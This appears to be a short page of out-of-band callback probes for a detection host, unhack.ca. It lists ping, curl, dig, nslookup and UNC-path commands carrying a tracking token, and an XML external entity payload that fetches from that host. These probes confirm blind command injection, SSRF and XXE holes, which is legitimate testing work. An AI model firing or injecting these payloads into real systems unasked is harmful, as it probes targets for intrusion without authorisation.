$ ping -c1 -p 008e111a09338ed05766cdaa7820f200 unhack.ca
 

$ curl http://unhack.ca/p/8e111a09338ed05766cdaa7820f2
 

$ dig 8e111a09338ed05766cdaa7820f2 @unhack.ca
 

$ dig 8e111a09338ed05766cdaa7820f2.ns.unhack.ca
 

C:\> nslookup 8e111a09338ed05766cdaa7820f2 unhack.ca
 

C:\> type \\unhack.ca\8e111a09338ed05766cdaa7820f2\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8e111a09338ed05766cdaa7820f2">]>
    <foo>&xxe;</foo>